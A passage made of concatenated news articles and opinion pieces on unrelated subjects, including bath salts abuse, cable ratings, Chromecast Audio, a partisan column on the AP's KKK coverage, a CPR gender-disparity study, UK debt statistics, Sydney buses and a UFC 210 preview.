psychosis, and a strong desire to use the drug again. “Addictive substances, whether they are bath salts, alcohol or other drugs, can have horrific and costly consequences. Sometimes these consequences can result from only one use; other times they are a result of the complex brain disease of addiction," says Susan E. Foster, vice president and director of policy research and analysis at The National Center on Addiction and Substance Abuse at Columbia University. "Together, risky use of addictive substances and addiction constitute our nation’s largest and most costly health problem. In the interest of health and public safety, Americans must begin to understand that substance use is a preventable public health problem and addiction is a treatable disease," she added. In 2009, reports began surfacing about teens and young adults abusing synthetic stimulant products sold as Bath Salts, “plant fertilizer," energy-1, Ivory Wave, Red Dove, Purple Wave, Blue Silk, Zoom, Bloom, Cloud Nine, Ocean Snow, Lunar Wave, Vanilla Sky, White Lightning, Scarface, and Hurricane Charlie. The Drug Enforcement Administration's forensic monitoring system found two reports of MDPV in 2009. In 2010 that figure jumped to 338 cases. Between January through September 2011, the numbers skyrocketed to 911 MDPV cases, spanning 34 states. -HBO’s “Real Time with Bill Maher” was the top original show among adults 18-49 on cable Friday. The show — devoted largely to discussion of the previous week’s show in which Maher used the N-word — drew a 0.5 rating in the 18-49 demographic, up from 0.4 the previous week. Five shows — “Live PD,” “The Rachel Maddow Show,” an NBA pregame show on ESPN, the midnight “SportsCenter” and “Williams Stream” on Adult Swim — tied for second among adults 18-49 at 0.4. “Maddow” was No. 1 in viewers for the day with 2.62 million. Top 25 original cable shows among adults 18-49 for Friday, June 9, 2017 Show Net Time Total Viewers (000s) 18-49 rating REAL TIME WITH BILL MAHER HBO 11:00 PM 1,760 0.5 LIVE PD: 43 A&E 9:00 PM 1,322 0.4 RACHEL MADDOW SHOW MSNBC 9:00 PM 2,620 0.4 NBA PRE-GAME ESPN 8:00 PM 868 0.4 SPORTSCENTER ESPN 12:00 AM 727 0.4 WILLIAMS STREAM ADULT SWIM 4:00 AM 742 0.4 RUPAUL’S DRAG RACE VH1 8:00 PM 637 0.3 WILLIAMS STREAM ADULT SWIM 4:15 AM 640 0.3 ANCIENT ALIENS HISTORY 9:00 PM 1,190 0.3 CNN NEWSROOM CNN 2:00 PM 1,277 0.3 CNN NEWSROOM CNN 3:00 PM 1,466 0.3 SPORTSCENTER ESPN 2:01 AM 519 0.3 NELLA THE PRINCESS KNIGHT NICK 12:00 PM 1,159 0.3 HOUSE HUNTERS INTL HGTV 10:30 PM 1,307 0.3 PARDON THE INTERRUPTION ESPN 5:30 PM 654 0.3 LAST WORD W/LAWRENCE O’DONNELL MSNBC 10:00 PM 1,932 0.3 MY LOTTERY DREAM HOME HGTV 9:00 PM 1,346 0.3 ANDI MACK DISNEY 8:30 PM 1,289 0.3 WOLF CNN 1:00 PM 1,125 0.3 HOUSE HUNTERS HGTV 10:00 PM 1,271 0.3 ALL IN W/CHRIS HAYES MSNBC 8:00 PM 1,958 0.2 TUCKER CARLSON TONIGHT FOX NEWS 8:00 PM 2,613 0.2 INSIDE POLITICS CNN 12:00 PM 1,068 0.2 DINERS, DRIVE-INS & DIVES FOOD 9:00 PM 818 0.2 GINORMOUS FOOD FOOD 8:00 PM 810 0.2 Source: The Nielsen Company. -The Chromecast Audio was announced with the ability to basically replicate the functionality of a high-end Sonos system, but at a much cheaper price of $35. An update rolling out starting today further fulfills that with multi-room and Hi-Res audio support… Multi-room support was initially announced when the device was launched in September, with an end of the year launch date. It allows users to play the same audio through multiple Chromecast Audio devices that are hooked up to their Wi-Fi network. In the updated version of the Chromecast app, users will have the option to add their devices to a group. Through groups, users will be able to cast to speakers in just certain rooms or make a group that encompasses every speaker in their house. Casting to a group will be exactly the same as casting to a single device. Today’s update also brings support for 96KHz/24bit lossless audio playback. Google calls this higher-than-CD quality audio and is certainly another shot at Sonos. The Chromecast Audio works with Android and iOS and speakers with 3.5mm, RCA, or Optical Audio. -The opinions expressed by columnists are their own and do not represent the views of Townhall.com. The depths to which “respected” journalists will stoop in seeking to create a narrative to sway elections and poll numbers defy comprehension. False allegations, slanderous innuendo and general hit-job reporting, which were once relegated to angry bloggers and unhinged writers, have been steadily creeping into what many regard as respectable news organizations. The latest episode comes from an Associated Press story by Jay Reeves in the form of his June 30th piece celebrating the sesquicentennial of the Ku Klux Klan. Why any news organization, let alone the AP which claims to "abhor inaccuracies, carelessness, bias or distortions,” would spend so much time profiling an organization whose membership barely reaches 8,000 on a good day, is quizzical until readers see how Reeves’s piece seeks to advance the Hillary Clinton narrative and tar the presumptive Republican presidential nominee, alleging, “other Klan leaders say Donald Trump's ascendancy in the GOP is a sign things are going their way.” Not surprisingly, the AP does not quote anybody saying any such thing, meaning nobody did. Had any reporter a direct quote from a Klansman invoking the name of Trump, it would doubtlessly be featured prominently. Instead, AP’s reference to ‘other Klan leaders,’ is, in all likelihood, ‘no Klan leaders.’ The AP’s bean-ball is feebly supported only by a Klansman who says his group has advocated a wall along the U.S. border with Mexico. Okay, fine. Trump wants to build a wall. But so did Hillary Clinton. As recently as November, she touted her record on the issue to voters in New Hampshire, saying she, “voted numerous times when I was a senator to spend money to build a barrier to try to prevent illegal immigrants from coming in.” If the AP was so hell bent on linking the Ku Klux Klan to the presidential race, it would have been closer to the truth to claim that Clinton’s support for a wall and her past unretracted support of profiling might be a sign that things are going the way of the Klan. The history of the Ku Klux Klan and its inherent racism are inexorably linked to the Democratic Party. Apologists ferociously distance themselves from that fact, claiming the Democratic Party of today is nothing like the party of the second half of the 19th century. The truth, however, is that Democrats supported Klan-backed oppression and violence against blacks and Republicans for more than 100 years. It takes only a handful of examples over time to illustrate this ugly track record. When the 14th Amendment to the Constitution was being debated in Congress in 1866, not one Democrat in the House or Senate voted for it. Not satisfied with opposing Republicans on congressional votes, the KKK murdered no fewer than a dozen South Carolina Republican state legislators in 1870. By the 1924 presidential election, the Klan was so institutionalized within the Democratic Party it rallied enough convention delegates todefeat a party platform plank denouncing the Klan. Klansmen were so pleased with the results they conducted a notorious celebration that came to be known at The Klanbake. President Franklin D. Roosevelt, who Bill Clinton said was the greatest president of the century, thought it best that we enter World War II with a segregated military despite calls from the GOP to integrate the armed services. While FDR didn’t have time for an executive order integrating the military, he did find time to order the internment of more than 100,000 Americans who had the bad luck of being born of Japanese ancestry. Democrat antics accelerated during the civil rights era with Governors George Wallace and Orval Faubus refusing to integrate schools. In Washington, DC, former Klansman and U.S. Senator Robert Byrd was busy filibustering the 1964 Civil Rights Act. This is a smattering of the hundreds - probably thousands - of ways in which Democrat Klansmen, with the support of their party, spent more than a century terrorizing and oppressing black Americans. The intimidation of the past continues today; just ask any African-American who has been viciously attacked as an Uncle Tom or an Oreo simply for disagreeing with liberal orthodoxy. Yet the Associated Press, in publishing its KKK retrospective, stomps and spits upon the values of which they purport to hold so dear as they go out of their way to taint the Republican Party and the Trump campaign. Small wonder that GOP presidential candidates hover in the high single digits when it comes to winning the black vote. Between the lies of Democrats running for office and a supposedly unbiased media ready to promote such fallacies, it’s a wonder Republicans receive even that many African-American votes. Donald Trump has an opportunity in 2016 to shift this dynamic. It won’t be easy but then again, we weren’t supposed to be even talking about Trump at this stage of the electoral process. Anything is possible in this election cycle—save an accurate detailing of racism in the Democrat Party. -Delaware Senate passes indoor e-cigarette ban Senate lawmakers passed legislation Thursday that adds e-cigarette devices to Delaware's Clean Indoor Air Act, but would exempt vape shops from such a ban. "It is a good day for the public's health," said Sen. Bethany Hall-Long, D-Middletown, the bill's sponsor in the Senate. "This provides another level of protection for the public." The measure, which passed 13-7, with one not voting, saw several amendments defeated. One would have exempted cigar shops from the ban, and another would have exempted taprooms and taverns. The measure now heads to Gov. Jack Markell, who has said he will sign the bill. House lawmakers defeated similar amendments when they passed the legislation in early May. The only amendment they did pass was the one that exempts vape shops, stores where people buy their e-cigarette devices and flavoring. Stores would be exempt if 80 percent of revenue came from the sale of e-cigarettes and the shop does not share space with other establishments. The measure also requires that minors are prohibited from entering the vape shops and requires the stores to post signs that anyone under 18 is not allowed inside. E-cigarettes are battery-powered devices that produce an odorless vapor that typically contains nicotine and flavorings. Supporters of the bill say e-cigarettes contain harmful chemicals. The devices are not yet regulated by the U.S. Food and Drug Administration. Dr. Karyl Rattay, director of Delaware Public Health, said during Thursday's hearing that the devices contain more than just water vapor. They contain many chemicals that can be toxic to humans, including nicotine, she said. Opponents to the bill have said there has not been enough research done on e-cigarettes and banning them indoors could deter people from using the devices for smoking cessation. A year ago, the Food and Drug Administration proposed regulating e-cigarettes, including banning sales to minors. Delaware banned the sale to minors last year. Four states, including New Jersey, ban smoking e-cigarettes indoors. Read or Share this story: http://delonline.us/1JIDIeY -PHILADELPHIA--When it comes to your likelihood of receiving bystander CPR if you experience a Sudden Cardiac Arrest (SCA) in public, it turns out your gender may play a lifesaving role. According to a new study from researchers in the Center for Resuscitation Science at Penn Medicine, which is being presented at the American Heart Association Scientific Sessions 2017, men are more likely to receive bystander CPR in public than women. "By uncovering this disparity, we'll be able to think about new ways to train and educate the public on when, why, and how to administer bystander CPR, in order to help save more lives - of both men and women," said lead author, Audrey Blewer, MPH, assistant director for Educational Programs at the Center for Resuscitation Science at Penn Medicine. Researchers evaluated 19,331 cardiac events using data from the Resuscitation Outcomes Consortium, a network of regional clinical centers in the United States and Canada which study out-of-hospital treatments of cardiac arrest and trauma, and found that 45 percent of men received bystander CPR in public compared to 39 percent of women. While bystander CPR is still a relatively rare, occurring in only about 37 percent of all cardiac events that happen in public locations, men were 1.23 times more likely to receive it. Men were also found to be nearly two times more likely to survive a cardiac event after bystander CPR, and they had 23 percent increased odds of survival without it, compared to women. "The key take away from these data is that we need to find better and more effective ways to educate the general public on the importance of providing bystander CPR, and the importance of being comfortable delivering it regardless of the factors like the gender, age, or even the weight of the person in need," said senior author Benjamin Abella, MD, MPhil, director of Penn's Center for Resuscitation Science and a professor of Emergency Medicine in the Perelman School of Medicine at the University of Pennsylvania. "This study and other investigations from our team are only just beginning to peel back the layers on CPR rates and training disparities, cardiac arrest survival, and the public's understanding of the importance of rapid intervention during a cardiac emergency." In addition to bystander CPR rates in public locations, the team also looked at possible disparities of in-home CPR. Interestingly, there was no significant difference based on gender--35 percent of women and 36 percent of men received CPR in the home. While more research would be needed, this finding could point to the idea that people may be less comfortable delivering CPR to a woman they do not know, rather than a man because of the physical barriers. "Regardless of someone's gender or how their body is shaped, delivering bystander CPR during cardiac arrest is absolutely critical, as it has been proven to double and even triple a victim's chance of survival," said Blewer. ### This study was funded by an American Heart Association Mentored Clinical Research Project Award. Shaun K McGovern, Clinical Research Coordinator in the Center for Resuscitation Science, is an additional Penn author on this study. Editor's Note: This study will be presented at 3:15 p.m. PT, on Sunday, Nov. 12, 2017 in room 151 (ACC North). Penn Medicine is one of the world's leading academic medical centers, dedicated to the related missions of medical education, biomedical research, and excellence in patient care. Penn Medicine consists of the Raymond and Ruth Perelman School of Medicine at the University of Pennsylvania (founded in 1765 as the nation's first medical school) and the University of Pennsylvania Health System, which together form a $6.7 billion enterprise. The Perelman School of Medicine has been ranked among the top five medical schools in the United States for the past 20 years, according to U.S. News & World Report's survey of research-oriented medical schools. The School is consistently among the nation's top recipients of funding from the National Institutes of Health, with $392 million awarded in the 2016 fiscal year. The University of Pennsylvania Health System's patient care facilities include: The Hospital of the University of Pennsylvania and Penn Presbyterian Medical Center -- which are recognized as one of the nation's top "Honor Roll" hospitals by U.S. News & World Report -- Chester County Hospital; Lancaster General Health; Penn Wissahickon Hospice; and Pennsylvania Hospital -- the nation's first hospital, founded in 1751. Additional affiliated inpatient care facilities and services throughout the Philadelphia region include Good Shepherd Penn Partners, a partnership between Good Shepherd Rehabilitation Network and Penn Medicine. Penn Medicine is committed to improving lives and health through a variety of community-based programs and activities. In fiscal year 2016, Penn Medicine provided $393 million to benefit our community. -When is a record not always a record? When it's twinned with the word "debt". To have a hope of knowing what's happening with the economy, you need to learn the rules of a childish game, says Michael Blastland. Here's a game that's all the rage with politicians and the media. Take any number of pounds that's bigger than it was before: the price of a hotel room, the size of the health budget, whatever, but particularly at the moment, government borrowing. Shout: "It's a record!" Apportion blame or praise, as desired. The game is fatuous, but don't let that stop you. After all, it doesn't stop them. Here are some examples. The numbers are all correct. 1. In 17 years of power up to 1997, the Conservatives made net debt repayments in four years, totalling nearly £17bn. Since coming to power in 1997, Labour made net repayments in three years, totalling about £41bn. (A record!) Praise be to Labour prudence, the Conservatives were rubbish. 2. In 1993, during the last recession, the Conservative government borrowed about £51bn. This year, Labour is expected to borrow about £64bn. (A record!) All hail Conservative prudence, Labour are rubbish. 3. After World War II, the national debt was about £24bn. In September this year, after repeated Labour and Conservative governments, public sector net debt had reached about £645bn. (A record!) They are all rubbish. Getting a taste for it? Try these top tips: Don't try to inform or enlighten - just generate as much heat as possible (with extra points at a time of public anxiety) Ignore inflation - this makes it impossible to say how any quantity of pounds genuinely compares with another some years apart, but does allow many absurd, baseless comparisons Assume that wealth doesn't matter, as if £10,000 owed by someone earning £5,000 a year is as serious a debt as it would be to Roman Abramovich And it's game on! Although, there are problems. One is that it treats the public like fools. Another is it soon becomes boring. Both are clear when we play the game with the national debt since the war, which would have allowed us to shout "record!" in the following years: 1946, 1947, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1964, 1965, 1966, 1967, 1968, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 2004, 2005, 2006, 2007 and 2008. Records of this type come round almost like the calendar because economies grow, and there's almost always some inflation. We might as well report that the date, 2008, is a record number of recorded years. More than in any other year since records began 2008 years ago. Beating by one the record held only last year, of 2007. And that if the trend continues we will see another record number of years recorded in the year as early as next year. Stating the obvious In short, our media and politicians on both sides have been talking a good deal of rubbish. What's the alternative? We could look at debt and borrowing in context. This is admittedly less easy to shout about. If we do, cash records can be seen for what they are: often misleading. "Labour triples spending on the NHS" "Labour borrowing hits record" Such boasts and criticisms - and both of these have appeared frequently - tell us little. To many, this will be obvious. So how do we work out if the numbers are genuinely better or worse than in the past, and by how much? First, we compare them with the size of the economy in pounds (or what's called "money GDP"). This takes account of the combination of inflation and how well off we are, and is the method used by statistical authorities worldwide. The first chart plays the game, and shows the government deficit now and in 1993 (the former "record"). If we talk only in pounds - and also chop off the bottom of the graph so it doesn't start at zero - we can make things look terrible. Here are the same numbers with a little context. This time, they are also compared with the size of the economy. Now we see rising inflation and economic growth have more than doubled the size of the economy in pounds. But have they also doubled the deficit in pounds? Not even nearly. If we updated the 1993 deficit to a 2008-sized economy after 15 years of inflation, it would be over £110bn, compared with this year's projected deficit of about £64bn. So is borrowing already a record, as recent wild headlines have suggested? Evidently not, at least not in any meaningful sense, or certainly not yet, however many zeros there are on the end of the figure (and that is also true in the US). In 1993 in the UK, borrowing reached 7% of GDP; today it is about half that. Does this mean Labour's borrowing is actually lower in this downturn than Conservative borrowing at the last? No. These are early days - and it will rise. So we can't compare the peaks in borrowing, but we can compare borrowing at the point that each recession began. We can also say that we don't expect borrowing to be as high in good times as in bad. If we take all this into account, and look at how much each government was borrowing just before the storm hit, we find no meaningful difference. Adjusted for the economic cycle, Conservative borrowing then was about 2.6% of GDP. Labour borrowing now is about 2.7% of GDP. But the best analysis - from the Institute for Fiscal Studies - suggests that borrowing is beginning to rise more quickly this time. That's borrowing from month to month. What about the total stock of all debt still outstanding - what was once called the National Debt but is now referred to (and measured differently) as public sector net debt? Labour did reduce it from the level inherited in 1997, relative to GDP (as did the Tories in 1979) but it soon started to rise again (as it did with the Tories). It's still lower than some other big, rich countries like France, Italy, or Japan, but higher than most countries in the OECD. Here's another chart. It shows the UK's public sector net debt, as a proportion of GDP, of course. (Why do we show the debt without the cost of Northern Rock? Because unlike ordinary government debt, Northern Rock is also worth something, an asset that we can probably cash in one day. If we include it, today's line would be at about the level of 1997). So how do they compare overall? Arguably, Labour's plight is worse because it is starting a recession from a higher net debt position than the start of the recession in the early 1990s. Borrowing also seems to be beginning to rise faster. But things are not yet remotely as bad as they have been on many previous occasions. Claims the country is in a better debt position than it was in 1997 are true, but less relevant than the comparison with the start of the last recession in the early 90s, by which measure today's debt is higher. Context takes only a moment. A good and simple start would be to present figures as a percentage of GDP, whether for spending, taxation or borrowing. Of course, there's the small matter of what the government actually does with the money. But when it comes to how much money we're talking about, handle records with care. Michael Blastland is the author, with Andrew Dilnot, of The Tiger That Isn't. Below is a selection of your comments: Good article. About time we saw some balance and rationality from a journalist. I am fed up with journalistic sensationalism, even if it does sell papers, how are we able to have any sense of objectivity if the information is constantly twisted. As for politicians, their self serving has turned most of the people off the whole subject. Chris, London Michael Blastland is to be congratulated on providing a balanced and informative article - head and shoulders above the attempts of his colleagues! This is what journalism SHOULD be about. Why do we not get this kind of insight in other pieces? Particularly with climate change, where so much rubbish is presented as if it were true. T Massingham, Gloucester - UK I agree entirely with the need for context, but as soon as anyone starts qualifying the numbers most people either stop listening, accuse them of "fiddling" or just don't understand. Dumbed down populist news means anything more than a mono-syllabic sentence (with just one number in it) is too much for most people. Try explaining to people that 10% growth in house prices followed by a 10% loss is actually an overall 1% loss, and you might as well be trying to tell them the moon really is made of cheese. Alan Marson, Aberdeen, Scotland But isn't the Beeb just as guilty of hype as the politicians? How often is % used in news items to sex up the figures? Statistics are sprayed round by the media and politicians generally, usually generating more heat than light. Look at the present BBC coverage of the recession-plunging graphs, doom laden pronouncements, - those facing unemployment or wrecked pensions must feel like slitting their wrists! Less reputation burnishing, more truth please! Gordon Thompson, Crich, Derbyshire U.K. This article is the longest on the BBC News website today ... a record! Jon D, huddersfield 2008 is not a record number of recorded years The Mayan calendar extends back over 5000 years (a record) - check your facts! Oz, Cambridge, UK Inspired Article. At last someone at the BBC reporting with an element of common sense! Bravo Michael!! Nick Pollins, Brighton What happens if you include PFI obligations, unfunded public sector pension liabilities and state pension liabilities. I suspect the result would be terrifying. Dave, London Very enlightening - and something that I have often suspected! Why isn't there any regulation on this when newspapers etc report these matters? Equally, why doesn't the accused stand up and ask for the beans to be re-counted? BBC, we expect you to lead the way! Allan, Surrey I knew it! Anything can be made witty and entertaining with the judicious application of sarcasm. Thank you, I feel both well informed and vindicated. Kat Murphy, Coventry Another record where inflation is ignored appears to be box-office takings. Every year sees a new film smashing the previous record for box-office takings, but it's not a surprise as inflation isn't taken into account. So as the price of a cinema ticket rises, so the amount of sales required to beat the previous record falls. However, as Michael Blastland points out, people like reading about records being broken. Even if they would have been broken merely by the passing of time. DS, Croydon, England Bookmark with: Delicious Digg reddit Facebook StumbleUpon What are these? E-mail this to a friend Printable version -NSW Transport Minister announces inner-west bus region tender Updated After a deluge of complaints about buses in Sydney's Inner West, the Government has decided to put the service out to private tender. The Government said bus region six, which services suburbs from the city west to Strathfield and Olympic Park, the worst on-time running results in 2016. "I think the people of the inner-west deserve better," Transport Minister Andrew Constance said. "If you consider that the private sector's had 19,000 complaints statewide verse 12,000 in this one region alone something had to give, and when it's complaints about buses not turning up, poor performance, we need to take action for our customers." Tourism and Transport Forum chief executive Margy Osmond said other states had successfully used bus franchises. "By franchising the inner-west bus services what you'll end up with is significant savings for government and much better service for consumers," she said. "With a complete franchising of the bus service here in New South Wales, on the basis of research we did at the end of last year, it could mean up to a billion dollars over a five-year period for the NSW Government, which they could then invest in other public transport or other outcomes." Rail, Tram and Bus Union divisional secretary Chris Preston said the Government had reneged on a promise made in December 2016 that existing contracts would continue for five years. "This betrayal that Minister Constance has bestowed on these 1,200 workers and the travelling community will not be taken lightly," he said. Shadow transport minister Jodi McKay challenged the Government to release evidence justifying the decision. "This excuse about complaints, I think, is a red herring and I challenge the Minister to release those figures. "These are heavily congested, heavily populated areas of Sydney and I think the Minister needs to be honest with the community about why this has occurred and when this decision was made by Government," she said. Ms McKay described the tender announcement as "another Berejiklian Government sell-off". "This is a government that is rapidly getting out of the business of running public services. Buses should be run for the public benefit, not for private profit." Buses and depots would still be owned by the Government and they would continue to regulate timetables and fares. Topics: road-transport, transport, urban-development-and-planning, state-parliament, homebush-2140, strathfield-2135 First posted -A parade float representing the Northeast. (Photo supplied) Bangkok motorists are advised to avoid Rama I and Ratchadamri roads on Wednesday evening, when a tourism promotion procession will make its way from Pathumwan intersection to Lumpini Park. The outbound lane of Rama I road (next to Siam Discovery) from Pathumwan intersection to Chaloem Phao Junction will be close from 5pm to 9pm. The procession will go along Rama 1 Road and turn right at Ratchaprasong intersection, then along Ratchadamri Road to Lumpini Park. A signpost near Khlong Toey market on Rama IV Road advises motorists to avoid some intersections in Bangkok during the tourism promotion procession on Wednesday. (Photo by Nittaya Nattayai) Pol Maj Gen Jirapat Phumjit, deputy chief of the Metropolitan Police Bureau (MPB) who oversees traffic in the city, said motorists from Charoen Phon intersection heading to Pathumwan intersection on Rama I will be forced to either turn left to Phaya Thai Road or right to Sam Yan area during this time. Motorists from Phloenchit can go through the inbound lane of Rama 1 road, he said. After the procession moves to Ratchadamri road, it will occupy only the far left lane of the road. Other lanes can be used by motorists. The MPB,wants drivers to avoid the route to ease traffic problems. Spectators are advised to use t public transport to attend the event. Traffic information is available at hotline 1197 of the Traffic Control and Command Centre, Pol Maj Gen Jirapat said. The procession marks the government’s “Amazing Thailand Tourism Year 2018” campaign, which runs from Nov 1 to Jan 1, 2019. The procession is in six parts -- the symbol of “Amazing Thailand Tourism Year 2018”, traditions from the five regions of Thailand, Thai gastronomy, colourful festivals, sport tourism and good hosts. -Raising a child who doesn't conform to gender roles is a minefield, for even the most supportive parents. How do you let your children be themselves while also protecting them from bullies? That question led a number of parents to organize an annual four-day camp in the wilderness for their kids. The result was an annual long-weekend camp that serves nearly 30 families, many of whom met several years ago through a therapy group for gender-nonconforming children in Washington, D.C. It started in a few hotel rooms in D.C. and evolved into a real camp usually held at religious retreats in various rural settings around the country. The children, ages 6 to 12, attend with their parents and siblings. In 2007, Sag Harbor photographer Lindsay Morris began attending camp. She took pictures of the children and their families to document their camp experience. But as the years passed and her photo library grew, Morris thought about doing something more with the pictures. In 2012, thanks to the courage of some of the families, Morris’ photographs appeared in a cover story for the New York Times Magazine . The book, titled You Are You , is an expansion of that project. At camp, the children do all the typical camp things. They canoe, they craft, they roast marshmallows. Almost all of the children are biological boys who like to wear girl’s clothing. The weekend culminates in a fashion show with the works: red carpets, a runway, and fans to blow the kids' hair back. "We try to make them feel fabulous,” says Morris, “I think it helps carry them through the year — the memory of their parents and siblings in the audience clapping for them." The kids in Morris' photographs fall across the gender spectrum. But they are too young to know which category they will grow into — if they fit into a category at all. Some will grow up to be transgender, others will be gender-conforming adults. Still more may decide to embrace a more fluid concept of gender. “Living with ambiguity can be very hard," writes one of the parents in a reflection in the book. The beauty of the camp is that it allows the kids to live comfortably in the middle, a difficult space to occupy during the rest of the year. Morris had many goals with the book. She wanted to illustrate gender-creative children in a joyful, supportive setting to counteract the painful things we associate with children who don’t conform. She wanted gender-variant kids and the adults who advocate for them to see that they are not alone. Along with the images and reflections, she has included a list of helpful books and support organizations available to families. But her work's greatest value may be in teaching us to see the potential joy of children who are allowed the freedom to be themselves. For more information about the project and events, visit lindsaycmorris.com and youareyouproject.com . -Merida, 27th November 2013 (Venezuelanalysis.com) – 30,000 security cameras will be installed across Venezuela under a scheme inaugurated by President Nicolas Maduro on Tuesday, amid ongoing efforts to tackle street crime. “We're establishing a support system at the highest technological level,” Maduro stated during the inauguration of the Integrated Monitoring and Assistance System (SIMA). Aimed at reducing crime though the installation of security cameras in public places, SIMA will be rolled out nationwide, “town by town” according to Maduro. For now, however, the system has only been implemented in Miranda state, where it's currently headquartered. Within two years the system will be functioning in 16 Venezuelan cities, interior and justice minister Miguel Rodriguez Torres said during the opening of the Miranda facility on Tuesday. The minister stated that each city would have a SIMA operational hub, linked to a “situation room” in Caracas. SIMA has a price tag of over US$1.2 billion, and the technology behind the project has been provided by the China National Electronics Import and Export Corporation (CEIEC) under a deal with the interior ministry. Maduro said his government also intends to incorporate unmanned surveillance drones into the system. “We must serve not only for safety but also for the general assistance of the community,” Maduro said. According to the president, the system will not only be used to prevent crime, but also assist in national emergencies including natural disasters. SIMA is also part of the Safe Homeland plan, and has been hailed by the government as part of a shift towards preventive policing – a model of law enforcement advocated by Maduro's predecessor, Hugo Chavez. During the inauguration, Maduro also stated that his government should “work with both hands” to tackle street crime by focusing on rehabilitation and crime prevention, rather than punishment. He cited the government's recent sponsorship of a group of 30 Venezuelan youth who are now studying sports education in Cuba as an example of his commitment to addressing crime through the new model. The 30 young Venezuelans all voluntarily surrendered firearms to the national government, according to the president. Venezuela has one of the world's highest homicide rates and most murders are gun related. In 2011, 94% of homicides involved firearms, according to figures from the national government. The commercial sale of firearms to the general public is illegal in Venezuela, and authorities have publicly called for Venezuelans to voluntarily hand over guns for destruction. Since 2003, over 355,000 guns have been obtained and destroyed by authorities, Deputy Minister of Criminal Investigation, Maria Martinez told state news agency AVN on Tuesday. Over 17,000 more weapons were added to that figure on Tuesday during an event broadcast by state media from the National Iron and Steel Complex in Barquisimeto, Lara state. It's a very important number of weapons to be destroyed this day, part of the whole process that has been taking place in the country,” Martinez told VTV. The arms ranging from hunting rifles to handguns would be smelted, and the metal used as construction material for Mision Vivienda according to the minister. The mission provides free housing to Venezuelans. More Police Graduate from UNES On the same day in Caracas, 5,660 new police officers graduated from the National Experimental University of Security (UNES). The UNES was established following the recommendation of the 2006 National Commission for Police Reform, which called for police training to be taken out of the hands of the military. The university is staffed by a number of human rights advocates, and according to supporters its curriculum has a strong focus on human rights education. Maduro announced that he would mark the graduation by approving a pay rise for around 6,600 municipal and state police officers. According to the president, the salary adjustments will bring these officers in line with national standards. Last month, Maduro stated he planned on further standardising Venezuela's various regional police forces. The new pay adjustments will come into effect on 1 January, 2014. -(JTA) — Cuba said it will release nearly 3,000 prisoners on humanitarian grounds, but did not include Jewish-American Alan Gross on the list. Gross, a U.S. subcontractor jailed in Cuba for the last two years for "crimes against the state," is in ill health. The prisoner amnesty, which Cuban leader Raul Castro called a humanitarian gesture, was announced late Friday. “To receive news in the middle of Hanukkah that the Cuban authorities have once again overlooked an opportunity to release Alan on humanitarian grounds is devastating," Gross’ wife, Judy, said in a statement, CNN reported. "Our family is simply heartbroken.” The U.S. State Department also condemned Gross’ exclusion from the list. "If this is correct, we are deeply disappointed and deplore the fact that the Cuban government has decided not to take this opportunity to extend this humanitarian release to Mr. Gross this holiday season, especially in light of his deteriorating health, and to put an end to the Gross family’s long plight," State Department spokesman Mark Toner said Saturday. Gross, 62, is serving a 15-year prison sentence in Cuba for distributing laptop computers and connecting Cuban Jews to the Internet. He was arrested in 2009 as he was leaving Cuba. Gross’ family and U.S. State Department officials say that Gross was in the country on a U.S. Agency for International Development contract to help the country’s 1,500 Jews communicate with other Jewish communities using the Internet. The main Jewish groups in Cuba have denied any contact with or knowledge of Gross or the program. -UFC is ready to make a third trip to New York in the last five months as the company heads to Buffalo, New York, to host its third pay-per-view event of the year. Light heavyweight champion Daniel “DC” Cormier will put his title on the line against heavy-handed knockout artist Anthony “Rumble” Johnson. But outside of the main and co-main events, there aren’t a ton of names fight fans are used to seeing. Here are 10 things you should know ahead of UFC 210 on Saturday. Title fight is a rematch. Cormier and Rumble battled two years ago for the vacant light heavyweight title. While Johnson was able to do some damage, Cormier’s expertise on the ground proved to be the difference with DC scoring the submission victory in the third round. It will be interesting to see how Johnson has expanded his game over the last two years to prepare for this because his last three wins have all come via knockout. Both fighters riding winning streaks. Cormier and Johnson are both riding three-fight win streaks into their rematch. Since losing his first professional MMA fight ever to Jon Jones in 2015, Cormier has rattled off wins against Johnson, Alexander Gustafsson via split decision and Anderson Silva via unanimous decision. Johnson, meanwhile, has knocked out Jimi Manuwa in the second round, Ryan Bader in the first and Glover Teixeira in just 13 seconds. Johnson a slight betting favorite. The odds are nearly dead even, but in most places where you could put a wager down, Rumble is a slight favorite (-115) over Cormier (-105). I have to think that has more to do with how Johnson has won those three fights versus how Cormier looked, even though Cormier did win their last match up. Chris Weidman’s rebound? The former middleweight champion is on a bit of a downward spiral. Since knocking out Anderson Silva to end UFC’s longest championship reign ever, Weidman lost to Luke Rockhold to lose the belt. Then, after battling a neck injury for most of 2016, Weidman was dropped by a crazy flying knee from Yoel Romero in December. Now, he gets one of the hottest fighters at 185 pounds in Gegard Mousasi, riding a four-fight winning streak with three straight KO/TKOs. Weidman desperately needs a win to remind fans that he wasn’t a one-hit wonder who caught a vulnerable champion at the right time. Log-jam at 185 pounds. Speaking of Mousasi, a win over Weidman would definitely start to draw attention for the former Strikeforce champion to get a title shot. The problem is everyone is stuck waiting on what champion Michael Bisping is doing. UFC gave his next title defense to legend Georges St-Pierre, who has been out of action since 2014, and never fought at middleweight. And while they have agreed to a bout, a date and location remains up in the air. Romero, Jacare Souza and Mousasi all believe they deserve a title shot, but have been forced to play the waiting game. It would truly be a disappointment if one of those three fighters doesn’t get a title shot before the end of 2017. Return of the phenom. Women’s strawweight Cynthia Calvillo is back in the octagon for UFC 210 and will face relative unknown Pearl Gonzalez. Calvillo (4-0) is slowly working her way up the 115-pound rankings after scoring her first victory in UFC at UFC 209 last month. It’s a quick turnaround for the 29-year old, but she took virtually no damage in that fight against Amanda Cooper. If she’s successful in that same way on Saturday, it’s only a matter of time before we see her against the top competitors in the division. Will Brooks’ return. The former Bellator lightweight champion was expected to come in and set the UFC on fire. Then, he ran into Alex Oliveira last October. Brooks (18-2) was coming off a unanimous decision win over Ross Pearson and looking to continue his march toward the 155-pound title, but Oliveira caught Brooks in the third round and finished things off with a TKO. Now, Brooks will face another Oliveira -- Charles -- who happens to be the No. 9 ranked lightweight. A win -- and a decisive one at that -- will quickly make people forget about that loss. A final ride for the Pitbull? Thiago Alves has had an incredible run with UFC. He peaked with a title shot against Georges St-Pierre at UFC 100 in 2009. But since then, Alves has gone just 5-4 in nine bouts, including a failed attempt to cut down to lightweight in his last fight when he missed 155 by seven pounds. Now, he faces 